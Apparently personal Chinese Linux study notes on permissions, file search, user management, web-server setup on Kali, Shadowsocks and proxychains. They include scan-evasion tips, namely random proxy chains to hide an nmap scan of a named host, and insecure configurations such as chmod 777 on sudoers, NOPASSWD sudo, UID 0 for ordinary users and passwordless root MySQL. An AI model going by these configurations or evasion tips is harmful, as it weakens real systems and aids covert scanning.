  • 多行文字输入: cat >> 文件 <<EOF 直接输入内容.就可以了.

cat EOF 可进行 多行修改了。

cat >> /root/a.txt <<EOF
123456789
bbbbbbbb
FFFFFFFFFFFFFFFFFFFFFFF
EOF
//作用: 在a.txt文件后面加上三行代码。

Cat 和EOF

cat 文本输出命令,观看某个文件的内容;

EOF是”end of file”,表示文本结束符。

结合这两个标识,即可避免使用多行echo命令的方式,并实现多行输出的结果。

注意EOF只是标识,并不是固定不变的也可以用别的符号代替比如EEE等等。 Cat « EOF …EOF 最后一个EOF一定顶格写,还有相关命令一定要顶格写.

sudo rm -rf 拖入文件 确定区分大小写

ls -l / 根目录文件

改变文件属性与权限

chmod 777 文件路径 自己 / 同组用户 / 其他用户 7=4+2+1 读 写 可执行

chgrp 改变文件所属群组 change grouo 缩写 被改的群组名 必须要在 /etc/group 文件里存在才行. chown 改变文件拥有者 change owner 用户必须在 etc/passwd 文件里存在才行

权限分数对照表格 r=4 w=2 x=1 owner=rwx=7 group=rwx=7 others=—=0 这个文件的 权限就是770 chmod 770 text.txt

-rw-rw-r— 644

u =owner g=group o=others a=all chmod改变文件权限 chmod u=rw,go=r .vinric

原先不知道文件属性 想要一个文件 所有用户可读 chmod a+w filename 去掉所有用户x权限 chmod a-x filename

    • = 加权限 减权限 设定权限

win 判断一个文件能否执行 是更具 扩展名来实现的
linux 是根据x权限来实现的 和扩展名完全无关 这很重要

w 权限 能写入 但是不能删除文件.

例题:
有个目彔的权限如下所示:
drwxr–r– 3 root root 4096 Jun 25 08:35 .ssh
系统有个账号名称为 vbird,这个账号并没有支持 root 群组,请问 vbird 对这个目彔有何 权限?是否可切换到此目彔中?
答:
vbird 对此目彔仅具有 r 的权限,因此 vbird 可以查询此目彔下的文件名列表。因为 vbird 丌具有 x 的权限, 因此 vbird 并丌能切换到此目彔内!(相当重要的概念!) 

date 星期时间

echo $LANG 显示目前 终端输出的语言

LANG=en_US 修改终端输出语言为英语

zh_TW.UFT-8 台湾语言 zh_CN.UTF-8 汉语

如果你注销 Linux 后,刚刚 下达的挃令就没有用啦

cal 日历 cal2015
bc 简单计算机 退出用 quit指令 tab 指令第一个字后面 命令补全
第二个字后面 是档案补齐

ctrl c 中断当前程序. ctrl d 相当于 exit tab 双击 显示所有可用的指令.

man manual(操作说明的简写). man date date的详细教程.  空格键 翻页. /word 向下搜寻关键词. ?word 向上搜索关键字. n 下一个关键字 N 上一个 搜索出来的关键字 q 离开man page man man 更多man的介绍. 

info 也是个好用的东西 h 求助菜单 ?指令列表 q 结束对话

how to 也就是man 和 info 之外的 文件. 包含原理等等

netstat -a 网络状态 后台程序 ps -aux who 谁在线 可能有很多人连这个电脑的 shutdown 关机是很重大的事情 ,有时要你输入root密码的哦 图形界面 谁都可以关机

指令界面 就只有root 能关机了  

reboot 重启

sync 数据同步写入硬盘 由于内存的存在 很多数据是暂时存在内存里 的 这时候断电的话 那些内容就没有了 所以要sync 同步内存和硬盘数据 把内存里的写入到硬盘.

绝对路径 absolute 根目录 / 开始写的文件 相对路径relative 不是 / 根目录开始的文件 相对路径是以『你当前所在路径的相对位置』来表示的。丼例来说,你目前在 /home 这个目彔下, 如果想要迚入 /var/log 这个目彔时,可以怂举写呢?

  1. cd /var/log (absolute)

  2. cd ../var/log (relative)

因为你在 /home 底下,所以要回到上一层 (../) 乀后,才能继续往 /var 来移劢的! 特别注意这两个特 殊的目彔: •  . :代表当前的目彔,也可以使用 ./ 来表示;

•  .. :代表上一层目彔,也可以 ../ 来代表。

这个 . .. 目彔概念是徆重要的,你常常会看到 cd .. 戒 ./command 乀类的挃令下达方式,

cat 读取文本文件 zcat 读取被压缩的文本文件

where is

whereis命令只能用于程序名的搜索,而且只搜索二进制文件(参数-b)、man说明文件(参数-m)和源代码文件(参数-s)。如果省略参数,则返回所有信息。 和find相比,whereis查找的速度非常快,这是因为linux系统会将 系统内的所有文件都记录在一个数据库文件中,当使用whereis和下面即将介绍的locate时,会从数据库中查找数据,而不是像find命令那样,通 过遍历硬盘来查找,效率自然会很高。  但是该数据库文件并不是实时更新,默认情况下时一星期更新一次,因此,我们在用whereis和locate 查找文件时,有时会找到已经被删除的数据,或者刚刚建立文件,却无法查找到,原因就是因为数据库文件没有被更新。  1.命令格式: whereis -bmsu BMS 目录名 -f  文件名 2.命令功能: whereis命令是定位可执行文件、源代码文件、帮助文件在文件系统中的位置。这些文件的属性应属于原始代码,二进制文件,或是帮助文件。whereis 程序还具有搜索源代码、指定备用搜索路径和搜索不寻常项的能力。 3.命令参数: -b   定位可执行文件。 -m   定位帮助文件。 -s   定位源代码文件。 -u   搜索默认路径下除可执行文件、源代码文件、帮助文件以外的其它文件。 -B   指定搜索可执行文件的路径。 -M   指定搜索帮助文件的路径。 -S   指定搜索源代码文件的路径。 4.使用实例: 实例1:将和**文件相关的文件都查找出来 命令: whereis svn   只将二进制文件 查找出来  命令: whereis -b svn   whereis -m svn 查出说明文档路径,whereis -s svn 找source源文件。              

shadowsocks

Ubuntu: python — version 查看版本.

然后安装 PIP 环境 apt–get install python–gevent python–pip

安装 shadowsocks pip install shadowsocks

接下来配置也比较简单, 新建一个 config.json,或者其他名字的都行, 位置可以放在/etc/shadowsocks/下 默认没有这个文件,你要自己创建一个),或者home或者其他任何地方。

{ “server”:“198.74.49.76”,
“server_port”:8388,
“local_port”:1080,
“password”:“password”,
“timeout”:600,
“method”:“aes-256-cfb”
}

关于nohup,是可以让程序在后台运行的命令。 同时可以用命令行参数覆盖 /etc/shadowsocks.json 里的设置: sslocal -s 服务器地址 -p 服务器端口 -l 本地端端口 -k 密码 -m 加密方法 ssserver -p 服务器端口 -k 密码 -m 加密方法 备注:sslocal是客户端程序;ssserver是服务端程序。

5、 防火墙设置(如有) 编辑防火墙配置文件/etc/sysconfig/iptables,将服务器端口(server_port)放行。 新增一条防火墙规则: -A INPUT -m state –state NEW -m tcp -p tcp –dport 8989 -j ACCEPT 重启防火墙iptables: service iptables restart 至此,服务器端的 Shadowsocks 安装和配置完毕。

在ubuntu下安装shadowsocks

  1. sudo apt-get update
  2. sudo python –version
  3. apt-get install python-gevent python-pip
  4. pip install shadowsocks
  5. 找到shadowsocks文件夹的命令: sudo find / -name shadows* ”/”是根目录下, *是通配符 进入ss文件夹 新建文件 并修改
  6. 修改config.js { “server”:”127.0.0.1”, “server_port”:8388, “local_port”:10808, “password”:”0219“, “timeout”:600, “method”:null }
  7. 后台长期启动shadowsockts nohup ssserver -c /usr/local/lib/python2.7/dist-packages/shadowsocks/config.json > log & 查看后台启动任务: jobs 关掉 fg %n  
  8. 开机自动启动: cd /etc/ sudo vim rc.local 加上一行: /usr/local/bin/ssserver -c /usr/local/lib/python2.7/dist-packages/shadowsocks/config.json  

 

启动SS客户端 前两步很简单,可是有人就纳闷了安装好了不知道怎么用,其实可以用sslocal -help来查看帮助就知道了。 sslocal -s server_ip -p server_port  -l 1080 -k password -t 600 -m aes-256-cfb -s表示服务IP, -pt指的是服务端的端口,-l是本地端口默认是1080, -k 是密码(要加”“), -t超时默认300,-m是加密方法默认aes-256-cfb, 可以简单的写为:sslocal -s ip  -p  port -k “password”    #用-s -p -k这三个参数就好,其他的默认将服务端的加密方法设为aes-256-cfb。然后就可以启动代理。

软件包管理器 - 软件安装

免去手动编译安装

Mac: brew centos: yum ubuntu: apt-get 

*  系统 代表 软件管理机制 命令
*Red Hat / Fedora RPM rpm, rpmbuild YUM (yum)
*Debian / Ubuntu DPKG dpkg APT (apt-get)

brew

Manual: wget for example

查找软件 brew search wget  
已装软件 brew list   安装软件 brew install wget 
删除软件 brew remove wget  

更新brew brew update
更新所有软件 brew upgrade 更新指定软件 brew upgrade wget

软件包信息 brew info wget
列出过时软件 brew outdated
软件包依赖关系 brew deps wget

readme

Hardware (硬件) Detail
OS OS X EI Capitan 10.11
Computer RMBP13”
Keyboard HHKB Pro2
Mouse IBM Bluetooth

Self-use Softwares :

类型 Name
打字练字 Type fu
Markdown Typora
文本编辑 Macvim
   
   
   
   
   
   

Linux 入门指南

​ 必须亲自电脑练习.不能只读书.

​ 尽量用shell,自己写shell script.

​ 错误解决办法: 先看 shell 的错误提示 → 再看 log 日志文件. → 查询谷歌.

必须习惯:

  • 发现问题

  • 记录错误信息 及 解决办法

  • 定期整理

学习:关键是会得『偷』, 偷了会得 改,改了会得发,发则通矣。

必会基础技能

  • vi 文本编辑器

  • shell

  • 简单基础命令.

手册中心

proxy chains

linux 全局代理

kali 全局代理:

proxychains + tor

前者 系统自带. 设置下就可以.

vi /etc/proxychains.conf

前面三个选项是 dynamic_chain & strict_chain & random_chain。三选一!!!

  1. dynamic_chain: proxychains会严格按照代理列表中提供的代理遍历下去,直到找到一个可用的,然后就使用它。
  2. strict_chain: 默认开启这个的.
    代理列表中的所有代理都是可用的时候,才能使用代理。
  3. random_chain : proxychain会在代理列表中随机选择一个可用的代理并使用它。跟在后面的是chain_len选项,这个选项只对random_chain有效,它指定了在这个模式下代理链的长度。 一般来说我们的选项应该是第一个, 如果使用了默认的第二个选项,会使得当你提供的代理列表中的某一个代理无法使用时,就无法使用其它的代理。 第三个选项推荐在扫描的时候使用,这时提供一个很长的代理列表,被扫描的主机就无法检测出你的扫描行为了。

安静模式(quiet_mode): 这个模式开启后,你就不会在命令行看见那些烦人的连接信息了。不过如果你发现你连不上代理,那些信息很可能会帮到你。 proxy_dns :这个选项用来指定是否通过代理服务器转发DNS请求,如果你不开启它,那么你的行踪很可能被你的DNS提供者记录下来,有时候VPN连接也会泄露你的行踪,就是因为你的VPN程序忘了通过代理转发DNS请求。 下面两个是一些超时选项,如果你的代理延迟很高,搞过了默认的这俩值,那就把这两个值调高一点吧。 跟在ProxyList后面的就是代理列表了,这个列表的格式是这样的: 【代理类型】 【代理IP】 【端口】 【用户名】 【密码】 比如说我的shadowsocks的本地服务泡在127.0.0.1:10801,那我就这么写 socks5 127.0.0.1 10801 用户名和密码是可选的,如果代理没有加密,那就不用管这两个东西。 在需要使用代理的时候,只要在你的命令前加上proxychains就行了,比如说你想通过代理扫描这个博客的主机,那就这样做: proxychains nmap –sS –Pn blog.guetsec.org

Kali ftp 传输

连接 服务器:

ftp 172.19.16.16 输入账号密码 boss + ***** 就进去了

查看 ftp 命令 : ? http://blog.csdn.net/tianlesoftware/article/details/5818990

.deb 安装:

cd 到目录 直接. dpkg -i+ 软件包名字.

http://www.evil0x.com/posts/11627.html

locate

locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的数据库,之后当寻找时就只需查询这个数据库,而不必实际深入档案系统之中了。在一般的 distribution 之中,数据库的建立都被放在 crontab 中自动执行。 1.命令格式: Locate 选择参数 样式 2.命令功能: locate命令可以在搜寻数据库时快速找到档案,数据库由updatedb程序来更新,updatedb是由cron daemon周期性建立的,locate命令在搜寻数据库时比由整个由硬盘资料来搜寻资料来得快,但较差劲的是locate所找到的档案若是最近才建立或 刚更名的,可能会找不到,在内定值中,updatedb每天会跑一次,可以由修改crontab来更新设定值。(etc/crontab) locate指定用在搜寻符合条件的档案,它会去储存档案与目录名称的数据库内,寻找合乎范本样式条件的档案或目录录,可以使用特殊字元(如“” 或“?”等)来指定范本样式,如指定范本为kcpaner, locate会找出所有起始字串为kcpa且结尾为ner的档案或目录,如名称为kcpartner若目录录名称为kcpa_ner则会列出该目录下包括 子目录在内的所有档案。 locate指令和find找寻档案的功能类似,但locate是透过update程序将硬盘中的所有档案和目录资料先建立一个索引数据库,在 执行loacte时直接找该索引,查询速度会较快,索引数据库一般是由操作系统管理,但也可以直接下达update强迫系统立即修改索引数据库。 3.命令参数: -e   将排除在寻找的范围之外。 -1  如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的 权限资料。 -f   将特定的档案系统排除在外,例如我们没有到理要把 proc 档案系统中的档案 放在资料库中。 -q  安静模式,不会显示任何错误讯息。 -n 至多显示 n个输出。 -r 使用正规运算式 做寻找的条件。 -o 指定资料库存的名称。 -d 指定资料库的路径 -h 显示辅助讯息 -V 显示程式的版本讯息 4.使用实例: 实例1:查找和pwd相关的所有文件 命令: locate pwd   搜索etc目录下所有以sh开头的文件  命令: locate /etc/sh   搜索etc目录下,所有以m开头的文件 命令: locate /etc/m        

inode

记录文件属性 以及 文件实际数据放在硬盘的哪几个 block 内

该档案的存取模式(read/write/excute);

该档案的所属群组(owner/group);

该档案的容量;

该档案建立或者状态改变时间(ctime); 最近一次的读取时间(atime); 最近修改时间(mtime); 定义文件特性的旗标(flag),如 SetUID…; 该档案真正内容的指向 (pointer);

inode 的数量与大小也是在格式化时就已经固定了 每个 inode 大小均固定为 128 bytes; 每个档案都仅会占用一个 inode 而已; 文件系统能够建立的档案数量与 inode 的数量有关; 系统读取文件时 → 先找到 inode → 分析 inode 所记录的权限 与用户是否符合,符合才能
够开始实际读取 block 的内容。

find-xargs

在使用 find命令的-exec选项处理匹配到的文件时, find命令将所有匹配到的文件一起传递给exec执行。但有些系统对能够传递给exec的命令长度有限制,这样在find命令运行几分钟之后,就会出现溢出错误。错误信息通常是“参数列太长”或“参数列溢出”。这就是xargs命令的用处所在,特别是与find命令一起使用。   find命令把匹配到的文件传递给xargs命令,而xargs命令每次只获取一部分文件而不是全部,不像-exec选项那样。这样它可以先处理最先获取的一部分文件,然后是下一批,并如此继续下去。   在有些系统中,使用-exec选项会为处理每一个匹配到的文件而发起一个相应的进程,并非将匹配到的文件全部作为参数一次执行;这样在有些情况下就会出现进程过多,系统性能下降的问题,因而效率不高; 而使用xargs命令则只有一个进程。另外,在使用xargs命令时,究竟是一次获取所有的参数,还是分批取得参数,以及每一次获取参数的数目都会根据该命令的选项及系统内核中相应的可调参数来确定。 使用实例: 实例1: 查找系统中的每一个普通文件,然后使用xargs命令来测试它们分别属于哪类文件  命令: find . -type f -print | xargs file   在整个系统中查找内存信息转储文件(core dump) ,然后把结果保存到/tmp/core.log 文件中 命令:  find / -name “core” -print | xargs echo “” >/tmp/core.log   在当前目录下查找所有用户具有读、写和执行权限的文件,并收回相应的写权限 命令: find . -perm -7 -print | xargs chmod o-w 用grep命令在所有的普通文件中搜索hostname这个词 命令: find . -type f -print | xargs grep “hostname”   用grep命令在当前目录下的所有普通文件中搜索hostnames这个词 命令: find . -name * -type f -print | xargs grep “hostnames”   使用xargs执行mv  命令: find . -name “*.log” | xargs -i mv {} test4   find后执行xargs提示xargs: argument line too long解决方法: 命令: find . -type f -atime +0 -print0 | xargs -0 -l1 -t rm -f   xargs的-p参数的使用  命令: find . -name “*.log” | xargs -p -i mv {} .. 输出:                      

find-exec

find是我们很常用的一个Linux命令,但是我们一般查找出来的并不仅仅是看看而已,还会有进一步的操作,这个时候exec的作用就显现出来了。  exec解释: -exec  参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。 {}   花括号代表前面find查找出来的文件名。 使用find时,只要把想要的操作写在一个文件里,就可以用exec来配合find查找,很方便的。在有些操作系统中只允许-exec选项执行诸如l s或ls -l这样的命令。大多数用户使用这一选项是为了查找旧文件并删除它们。建议在真正执行rm命令删除文件之前,最好先用ls命令看一下,确认它们是所要删除的文件。 exec选项后面跟随着所要执行的命令或脚本,然后是一对儿{ },一个空格和一个\,最后是一个分号。为了使用exec选项,必须要同时使用print选项。如果验证一下find命令,会发现该命令只输出从当前路径起的相对路径及文件名。 实例1:ls -l命令放在find命令的-exec选项中  命令: find . -type f -exec ls -l {} \; 在目录中查找更改时间在n日以前的文件并删除它们 命令: find . -type f -mtime +14 -exec rm {} \;    在目录中查找更改时间在n日以前的文件并删除它们,在删除之前先给出提示 命令: find . -name “*.log” -mtime +5 -ok rm {} \;   -exec中使用grep命令 命令: find /etc -name “passwd*” -exec grep “root” {} \;   查找文件移动到指定目录   命令: find . -name “*.log” -exec mv {} .. \;   用exec选项执行cp命令   命令: find . -name “*.log” -exec cp {} test3 \;              

find 概览

在目录中搜索文件,并执行指定的操作。

功能很强大。由于find具有强大的功能,所以它的选项也很多,其中大部分选项都值得我们花时间来了解一下。 即使系统中含有网络文件系统( NFS),find命令在该文件系统中同样有效,只你具有相应的权限。 在运行一个非常消耗资源的find命令时,很多人都倾向于把它放在后台执行,因为遍历一个大的文件系统可能会花费很长的时间(这里是指30G字节以上的文件系统)。 1.命令格式: find pathname -options -print -exec -ok … 2.命令功能: 用于在文件树种查找文件,并作出相应的处理 3.命令参数: pathname: find命令所查找的目录路径。例如用.来表示当前目录,用/来表示系统根目录。 -print: find命令将匹配的文件输出到标准输出。 -exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } \;,注意{ }和\;之间的空格。 -ok: 和-exec的作用相同,只不过以一种更为安全的模式来执行该参数所给出的shell命令,在执行每一个命令之前,都会给出提示,让用户来确定是否执行。 4.命令选项: -name 按照文件名查找文件。 -perm 按照文件权限来查找文件。 -prune 使用这一选项可以使find命令不在当前指定的目录中查找,如果同时使用-depth选项,那么-prune将被find命令忽略。 -user 按照文件属主来查找文件。 -group 按照文件所属的组来查找文件。 -mtime -n +n 按照文件的更改时间来查找文件, - n表示文件更改时间距现在n天以内,+ n表示文件更改时间距现在n天以前。find命令还有-atime和-ctime 选项,但它们都和-m time选项。 -nogroup 查找无有效所属组的文件,即该文件所属的组在/etc/groups中不存在。 -nouser 查找无有效属主的文件,即该文件的属主在/etc/passwd中不存在。 -newer file1 ! file2 查找更改时间比文件file1新但比文件file2旧的文件。 -type 查找某一类型的文件,诸如: b - 块设备文件。 d - 目录。 c - 字符设备文件。 p - 管道文件。 l - 符号链接文件。 f - 普通文件。 -size n:c 查找文件长度为n块的文件,带有c时表示文件长度以字节计。-depth:在查找文件时,首先查找当前目录中的文件,然后再在其子目录中查找。 -fstype:查找位于某一类型文件系统中的文件,这些文件系统类型通常可以在配置文件/etc/fstab中找到,该配置文件中包含了本系统中有关文件系统的信息。 -mount:在查找文件时不跨越文件系统mount点。 -follow:如果find命令遇到符号链接文件,就跟踪至链接所指向的文件。 -cpio:对匹配的文件使用cpio命令,将这些文件备份到磁带设备中。 另外,下面三个的区别: -amin n 查找系统中最后N分钟访问的文件 -atime n 查找系统中最后n*24小时访问的文件 -cmin n 查找系统中最后N分钟被改变文件状态的文件 -ctime n 查找系统中最后n*24小时被改变文件状态的文件 -mmin n 查找系统中最后N分钟被改变文件数据的文件 -mtime n 查找系统中最后n*24小时被改变文件数据的文件 5.使用实例: 实例1:查找指定时间内修改过的文件 命令: find -atime -2

根据关键字查找 命令: find . -name “*.log”

按照目录或文件的权限来查找文件 命令: find /opt/soft/test/ -perm 777

查找当前所有目录并排序 命令: find . -type d | sort

按大小查找文件 命令: find . -size +1000c -print

Web server 网络服务器

网络环境下为客户提供某种服务的专用计算机。

Web / WWW: World Wide Web (环球信息网) 中文名:万维网 www 服务器 :几乎所有网络主机 都会安装.很多软件都是用 www 作为显示接口的 非常重要. 一般用 Apache.

Mail Server 邮件系统 企业可以组建自己的Internet邮件服务器.(需要固定 IP / 域名 / 服务器)

私人公司: 邮件有商业机密 或者 隐私 .这个就不放心用免费的邮箱了 需要自己搭建服务器.

smtp SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议,它是一组用于由源地址到目的地址传送邮件的规则,由它来控制信件的中转方式。SMTP协议属于TCP/IP协议族,它帮助每台计算机在发送或中转信件时找到下一个目的地。通过SMTP协议所指定的服务器,就可以把E-mail寄到收信人的服务器上了,整个过程只要几分钟。SMTP服务器则是遵循SMTP协议的发送邮件服务器,用来发送或中转发出的电子邮件。

pop3 POP3(Post Office Protocol 3)即邮局协议的第3个版本,它是规定个人计算机如何连接到互联网上的邮件服务器进行收发邮件的协议。它是因特网电子邮件的第一个离线协议标准,POP3协议允许用户从服务器上把邮件存储到本地主机(即自己的计算机)上,同时根据客户端的操作删除或保存在邮件服务器上的邮件,而POP3服务器则是遵循POP3协议的接收邮件服务器,用来接收电子邮件的。POP3协议是TCP/IP协议族中的一员,,由RFC 1939 定义。本协议主要用于支持使用客户端远程管理在服务器上的电子邮件

imap Internet Mail Access Protocol(交互式邮件存取协议)IMAP是斯坦福大学在1986年开发的研发的一种邮件获取协议。它的主要作用是邮件客户端(例如MS Outlook Express)可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。当前的权威定义是RFC3501。IMAP协议运行在TCP/IP协议之上,使用的端口是143。它与POP3协议的主要区别是用户可以不用把所有的邮件全部下载,可以通过客户端直接对服务器上的邮件进行操作。## Kali / Debian - Web building

环境要求: Apache + PHP + Mysql

一般三个都是自带的.只要配置下就可以用了. 可以查看版本信息来判断有没有安装 apache -v/apache2 -v php -v mysql -V 没有的话: apt-get install apache2 apt-get install mysql-server mysql-client PHP服务 是不需要启动的!! 只要配置好就可以的.

  1. 启动Apache服务.
    1. 写个最简单的 xx.html xx.php 放到: /var/www/html/ 文件夹下 (必须放在这个文件夹下)
      1. 浏览器 http://210.22.92.254/xx.php 就能看到 php 网页了.

Kali Apache 配置

主配置文件 /etc/apache2/apache2.conf

service apache2 status / start / stop / restart

Default Web Page: 别的电脑网页 输入 172.19.16.169:80 能看到默认页面了.说明 apache 正确安装了.

前提是 要启动 apache 服务啊.

默认网页位置: /var/www/html/index.html vi index.html 文件 就可以把网址改成你自己想要的了.

默认页面 有很多有用的东西的 建议仔细看看.

Kali PHP

PHP 不需要启动!!!!! /var/www/html 目录 放 xx.php 文件就可以用 http://127.0.0.1/xx.php 来访问.

  1. 首先 写个 php 文件
    1. vi /var/www/info.php

    2. 浏览器: http://172.19.16.169/info.php 就能看的 php 的网页界面了.

Apache + PHP

Apache 是否能识别 PHP 引擎. 进入 php 信息页 (info.php 内容是 phpinfo() 这个的 php 脚本.) 可以看到 是否 支持 PHP / Mysql / IPv6 等等 还有 Document Root 的路径 这个就是你网页放的路径!!!!!

kali Mysql / Debian Mysql

**启用远程访问数据库: 3306

默认不能远程连接数据库的. vi /etc/mysql/mysql.conf.d/mysqld.cnf 将bind-address = 127.0.0.1注销

启动服务 service mysql status / start / stop / restart 

**开机启动 Mysql vi /etc/rc.local → 加入启动 mysql的命令: service mysql start

**进入 Mysql

  1. root 没有密码: mysql -u root 就能进入 mysql 控制面板了.

    1. root 有密码: mysql -u root -p ↵ → 输入密码

Mysql 使用

use mysql; 选择一个数据库 show tables; 显示表. select * ftom user; 显示表内容.


环境都搭好了 然后就写网页了..

Vim 编辑器

I   键     编辑模式 Esc  正常阅读模式 花键 +/     查找命令# Debian L2TP

一、安装 IPSec。IPSec 会对 IP 数据包进行加密和验证。
推荐用 openswan 这个后台软件包来跑 IPSec。 用以下命令安装 openswan: sudo apt-get  install openswan

1.1 配置sysctl参数      sudo mv /etc/sysctl.conf /etc/sysctl.conf.bak 备份文件

    sudo vim /etc/sysctl.conf

    —————新建文件 并输入如下内容————-     net.ipv4.ip_forward = 1     net.ipv4.conf.all.accept_redirects = 0     net.ipv6.conf.all.accept_redirects = 0     net.ipv4.conf.all.send_redirects = 0 

User/Group

用户:

账号+密码 能登录 共享文件夹.

用户组:

不同的组有不同的权限 . 方便管理.不用每个人都去设置.

User/Group passwd File :

七个字段组成: 用户名:密码(x表示):用户标识:组标识: 注释 :用户家目录: 用户登录后启动的一个进程. root : x : 0 : 0 : root : /root : /bin/bash bin : x : 1 : 1 : bin : /bin : /sbin/nologin daemon: x : 2 : 2 :daemon: /sbin : /sbin/nologin > 字段3/4 0 表示 root 用户/用户组

字段7 nologin 就是不让用户登录的意思.

sudoers:

作用 命令 注释
查看文件权限 ll /etc/sudoers 默认只读.要先修改权限(用 root 登录修改)
修改文件权限 chmod 777 sudoers root 登录 等下最好改回去 chmod 440 sudoers
    root 登录: 可用 vi :wq! 强制修改,用别的账户登录无效.
编辑sudoers文件 vi /etc/sudoers 找到 root ALL=(ALL) AL (倒数17行左右); 此行下添加两行
  xujian ALL=(ALL) ALL 这个 切换 sudo 时 需要输入密码的.
  xx0219 ALL=(ALL) NOPASSWD:ALL 这个 切换 sudo 时 不需要输入密码.

权限分配

普通用户 → Root 权限

  1. root登录
  2. adduser 新建用户名
  3. passwd 增加新用户密码
  4. 修改/etc/passwd即可,把用户名的ID和ID组修改成0。

     ## User/Group Files :

/etc/passwd  系统账户信息. /etc/shadow  账户密码信息.加密的密码,不是明文.
/etc/group   群组信息 这里修改群组名
/etc/sudoers 给普通用户 开通临时使用 root 的权限

User Group Command

作用 命令 实例
创建用户 useradd useradd xujian
删除账号 userdel userdel xujian
删除密码 passwd passwd -d xujian
修改密码 passwd passwd xujian xujian
修改账号 usermod usermod xujian -l xx0219
  • 超级用户: 能给任何人 创建/修改 任何格式的密码.
    (普通用户也能用简单密码,一定要 root 账户等进去改.自己是改不了简单密码的)

User Command

useradd xujian → 增加用户 userdel xujian → 删除用户 passwd test → 给test这个用户加密

新增用户后,必须给他设置密码,不然不能登录。

who → 当前用户 who -q → 在线用户 last → 用户登录记录 lastb → 登录失败记录 id xujian → 某用户信息

  • 修改用户目录 usermod -d /home/test

    将test用户的登录目录改成/home/test

  • 加入用户组 gpasswd -a test test2

    将用户test加入到test2组

  • 离开用户组 gpasswd -d test test2

    //将用户test从test2组中移出

  • 查看所有用户 cut -d : -f 1 /etc/passwd

Group Command

groups xujian → xujian所在的组 groupadd  test → 增加 test 组 groupdel test2 → 删除 test2组 cat /etc/group → 查看所有组 groupmod -n test2  test → 将test组名改成test2

User / Passwd Linux.

用户账号:

  1. 超级用户: root用户是linux系统中默认的超级用户,
    对于本机拥有至高无上的权限。

  2. 普通用户: 拥有的权限受到一定的限制,
    一般普通用户在自己的宿主目录拥有完整的权限。

  3. 程序用户: 在安装linux系统及部分应用程序时,会添加一些特定的底权限用户账号, 这些用户一般不允许登录系统,仅用于维护某个程序正常运行。 组账号: 基于某种特定联系将多个用户集合在一起,即构成一个用户组,用于表示该组内所有用户的账户称为组账号。 每个用户至少属于一个组,这个组称为该用户的基本组(或私有组),如果该用户还属于其他组。则这个组称为该用户的附加组(或公共组)。

3、UID和GID号

UID: linux系统中每个用户都有一个数字形式的身份标记,称为UID.

  • root账户 UID固定为 “0”
    • 程序用户 UID默认为 “1-499”
    • 普通用户 UID默认为 “500-60000”

GID: linux系统中每个组账号也有一个数字形式的身份标记,称为GID.

  • root组GID固定为“0”,
    • 程序组GID默认为“1-499”,
    • 普通组GID默认为“500-60000”。

用户账户文件

用户的账户分别存放在 /etc/passwd /etc/shadow

shadow又称影子文件

如下:通过命令“cat /etc/passwd”命令查看passwd文件中的内容。

在passwd文件中一共有七段,分别用“:”隔开。每段解释如下:
第一段:用户账号的名称,也就是用户登录名。
第二段:经过加密的用户密码字串。(或者密码站位符“x”)
第三段:用户的UID号。
第四段:所属基本组的GID号。
第五段:用户全名,可填写与用户相关的说明信息。
第六段:用户的宿主目录,普通用户默认在“/home”下的同名目录。
第七章:登录shell信息,用户登录后使用的shell。 如下:通过“cat /etc/shadow”命令查看shadow文件中的内容。在shadow文件中保存有各用账号的密码信息,所以对shadow文件访问有着严格的限制,默认只root才能读取文件的内容,而且不能直接编辑文件。

在shadow文件中一共分为九段,也分别使用“:”隔开。每段解释如下:
第一段:用户账号名号,也就是登录名。
第二段:使用MD5加密的密码字串,当为“*”或“!!”时不能登录系统,当为空时,则不需要密码就可登录系统。
第三段:上次密码修改时间到现在的天数。
第四段:密码的最短有效期,值为0时表示进行限制。
第五段:密码的最长有效期,值为99999时表示不进行限制。
第六段:密码过期时提前警告的天数,默认值为7天。
第七段:在密码过期后多少天内禁用此用户。
第八段:账号的实效时间,值为空时表示永久有效。
第九段:保留字段,目前没有待定用途。 用户账户管理。
useradd命令——添加用户账户
useradd 选项 用户名
-u:指定用户的UID号。
-d:指定用户的宿主目录位置。
-e:指定用户的失效时间,使用YYYY-MM-DD格式。
-g:指定用户的基本组。
-G:指定用户的附加组。
-M:创建用户时不建立宿主目录。
-s:指定用户的登录shell。
如下:新建用户admin,指定宿主目录在根目录下,基本组为root组。并使用tail命令查看新建的用户。

passwd命令——为用户账户设置密码
passwd 选项 用户名
-d:清空指定用户的密码,可以使用空密码登录。
-l:锁定用户。
-S:查看用户的状态(是否被锁定)。
-u:解锁用户。
单独使用passwd命令时只能对当前用户设置密码,普通用户使用passwd密令设置密码时,必须输入旧密码,新密码并且必须在六位以上。
如下:为刚才新建的用户admin设置密码。

usermod命令——修改用户的属性。
-u:修改用户的UID号。
-d:修改用户的宿主目录位置。
-e:修改用户的实效时间,使用YYYY-MM-DD的格式。
-g:修改用户的基本组。
-G:修改用户的附加组。
-M:不为用户建立并初始化宿主目录。
-s:指定用户的登录shell。
-l:更改用户的登录名。
-L:锁定用户账户。
-U:解锁用户账户。
如下:使用usermod命令修改root的基本组,并将root的宿主目录移到home目录下(若要修改已有账号的宿主目录,需要先将原有的宿主目录转移到新的位置,然后再通过usermod命令设置新的宿主目录位置。)。

userdel命令——删除用户账户。
userdel 选项 用户名
-r:删除用户时同时删除用户的宿主目录。 组账户管理
和用户一样,组账户也有两个相关的配置文件分别是“/etc/group”和“/etc/gshadow”。这两个文件内容和用户文件一样基本相同,这里就不在详述了。
groupadd命令——新建组
groupadd 选项 组名
-g:指定组的GID号。
如下:新建benet组,指定GID号为200。

gpasswd命令——添加,设置,删除组成员
gpasswd 选项
-a:将指定用户添加到指定组。
-d:删除指定用。
-M:批量添加用户到指定组。
如下:将刚才新建的admin用户加入到benet组中。

groupdel命令——删除组
groupdel 组名 查询账号信息
groups命令——查询用户账户所属的组
groups 用户名
如下:查询刚才新建的admin用户属于那些组。

id命令——查询用户账号的UID
id 用户名 finger命令——查询用户账户的登录属性
